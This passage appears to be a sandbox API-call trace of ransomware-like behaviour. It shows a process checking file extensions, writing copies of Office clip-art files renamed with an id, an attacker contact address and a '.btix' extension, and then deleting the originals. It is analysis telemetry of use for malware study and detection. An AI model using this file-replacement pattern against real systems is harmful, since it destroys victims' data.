(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.311] lstrlenW (lpString=".jpg") returned 4 [0149.311] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.311] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0149.311] lstrlenW (lpString="J0099163.WMF") returned 12 [0149.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.311] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=22356) returned 1 [0149.311] CloseHandle (hObject=0x384) returned 1 [0149.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220 [0149.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.311] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.312] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0149.314] GetLastError () returned 0x0 [0149.314] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x5754, lpOverlapped=0x0) returned 1 [0149.315] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x5760, lpOverlapped=0x0) returned 1 [0149.316] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.316] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.316] SetEndOfFile (hFile=0x388) returned 1 [0149.316] CloseHandle (hObject=0x388) returned 1 [0149.316] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.316] SetEndOfFile (hFile=0x384) returned 1 [0149.317] CloseHandle (hObject=0x384) returned 1 [0149.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0149.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.317] lstrlenW (lpString=".doc") returned 4 [0149.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.317] lstrlenW (lpString=".docx") returned 5 [0149.317] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0149.318] lstrlenW (lpString=".pdf") returned 4 [0149.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.318] lstrlenW (lpString=".xls") returned 4 [0149.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.318] lstrlenW (lpString=".xlsx") returned 5 [0149.318] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0149.318] lstrlenW (lpString=".ppt") returned 4 [0149.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.318] lstrlenW (lpString=".zip") returned 4 [0149.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.318] lstrlenW (lpString=".rar") returned 4 [0149.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.318] lstrlenW (lpString=".bz2") returned 4 [0149.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.318] lstrlenW (lpString=".7z") returned 3 [0149.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.318] lstrlenW (lpString=".dbf") returned 4 [0149.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.318] lstrlenW (lpString=".1cd") returned 4 [0149.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.318] lstrlenW (lpString=".jpg") returned 4 [0149.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.319] lstrlenW (lpString=".doc") returned 4 [0149.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.319] lstrlenW (lpString=".docx") returned 5 [0149.319] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0149.319] lstrlenW (lpString=".pdf") returned 4 [0149.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.319] lstrlenW (lpString=".xls") returned 4 [0149.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.319] lstrlenW (lpString=".xlsx") returned 5 [0149.319] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0149.319] lstrlenW (lpString=".ppt") returned 4 [0149.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.319] lstrlenW (lpString=".zip") returned 4 [0149.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.319] lstrlenW (lpString=".rar") returned 4 [0149.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.319] lstrlenW (lpString=".bz2") returned 4 [0149.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.319] lstrlenW (lpString=".7z") returned 3 [0149.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.319] lstrlenW (lpString=".dbf") returned 4 [0149.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.319] lstrlenW (lpString=".1cd") returned 4 [0149.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0149.319] lstrlenW (lpString=".jpg") returned 4 [0149.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.320] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0149.320] lstrlenW (lpString="J0099164.WMF") returned 12 [0149.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.320] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=21946) returned 1 [0149.320] CloseHandle (hObject=0x384) returned 1 [0149.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220 [0149.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.320] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.320] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0149.321] GetLastError () returned 0x0 [0149.321] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x55ba, lpOverlapped=0x0) returned 1 [0149.322] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x55c0, lpOverlapped=0x0) returned 1 [0149.323] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.323] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.323] SetEndOfFile (hFile=0x388) returned 1 [0149.323] CloseHandle (hObject=0x388) returned 1 [0149.323] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.323] SetEndOfFile (hFile=0x384) returned 1 [0149.324] CloseHandle (hObject=0x384) returned 1 [0149.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0149.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.325] lstrlenW (lpString=".doc") returned 4 [0149.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.325] lstrlenW (lpString=".docx") returned 5 [0149.325] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0149.325] lstrlenW (lpString=".pdf") returned 4 [0149.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.325] lstrlenW (lpString=".xls") returned 4 [0149.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.325] lstrlenW (lpString=".xlsx") returned 5 [0149.325] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0149.325] lstrlenW (lpString=".ppt") returned 4 [0149.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.325] lstrlenW (lpString=".zip") returned 4 [0149.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.325] lstrlenW (lpString=".rar") returned 4 [0149.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.325] lstrlenW (lpString=".bz2") returned 4 [0149.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.325] lstrlenW (lpString=".7z") returned 3 [0149.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.325] lstrlenW (lpString=".dbf") returned 4 [0149.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.326] lstrlenW (lpString=".1cd") returned 4 [0149.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.326] lstrlenW (lpString=".jpg") returned 4 [0149.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.326] lstrlenW (lpString=".doc") returned 4 [0149.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString=".docx") returned 5 [0149.326] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0149.326] lstrlenW (lpString=".pdf") returned 4 [0149.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString=".xls") returned 4 [0149.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.326] lstrlenW (lpString=".xlsx") returned 5 [0149.326] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0149.326] lstrlenW (lpString=".ppt") returned 4 [0149.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.326] lstrlenW (lpString=".zip") returned 4 [0149.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.326] lstrlenW (lpString=".rar") returned 4 [0149.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString=".bz2") returned 4 [0149.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString=".7z") returned 3 [0149.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.326] lstrlenW (lpString=".dbf") returned 4 [0149.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.326] lstrlenW (lpString=".1cd") returned 4 [0149.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0149.327] lstrlenW (lpString=".jpg") returned 4 [0149.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.327] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.327] lstrlenW (lpString="J0099165.JPG") returned 12 [0149.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.327] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=50490) returned 1 [0149.327] CloseHandle (hObject=0x384) returned 1 [0149.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220 [0149.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.327] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.327] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0149.328] GetLastError () returned 0x0 [0149.328] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xc53a, lpOverlapped=0x0) returned 1 [0149.460] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xc540, lpOverlapped=0x0) returned 1 [0150.373] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.373] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.373] SetEndOfFile (hFile=0x388) returned 1 [0150.373] CloseHandle (hObject=0x388) returned 1 [0150.373] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.373] SetEndOfFile (hFile=0x384) returned 1 [0150.374] CloseHandle (hObject=0x384) returned 1 [0150.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0150.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.375] lstrlenW (lpString=".doc") returned 4 [0150.375] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.375] lstrlenW (lpString=".docx") returned 5 [0150.375] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0150.375] lstrlenW (lpString=".pdf") returned 4 [0150.375] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.375] lstrlenW (lpString=".xls") returned 4 [0150.375] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.375] lstrlenW (lpString=".xlsx") returned 5 [0150.375] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0150.375] lstrlenW (lpString=".ppt") returned 4 [0150.375] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.375] lstrlenW (lpString=".zip") returned 4 [0150.375] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.375] lstrlenW (lpString=".rar") returned 4 [0150.375] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.375] lstrlenW (lpString=".bz2") returned 4 [0150.375] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.376] lstrlenW (lpString=".7z") returned 3 [0150.376] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.376] lstrlenW (lpString=".dbf") returned 4 [0150.376] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.376] lstrlenW (lpString=".1cd") returned 4 [0150.376] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.376] lstrlenW (lpString=".jpg") returned 4 [0150.376] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.376] lstrlenW (lpString=".doc") returned 4 [0150.376] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.376] lstrlenW (lpString=".docx") returned 5 [0150.376] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0150.376] lstrlenW (lpString=".pdf") returned 4 [0150.376] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.376] lstrlenW (lpString=".xls") returned 4 [0150.376] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.376] lstrlenW (lpString=".xlsx") returned 5 [0150.376] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0150.376] lstrlenW (lpString=".ppt") returned 4 [0150.376] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.376] lstrlenW (lpString=".zip") returned 4 [0150.376] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.376] lstrlenW (lpString=".rar") returned 4 [0150.377] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.377] lstrlenW (lpString=".bz2") returned 4 [0150.377] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.377] lstrlenW (lpString=".7z") returned 3 [0150.377] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.377] lstrlenW (lpString=".dbf") returned 4 [0150.377] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.377] lstrlenW (lpString=".1cd") returned 4 [0150.377] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0150.377] lstrlenW (lpString=".jpg") returned 4 [0150.377] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.377] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.377] lstrlenW (lpString="J0099182.WMF") returned 12 [0150.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.377] 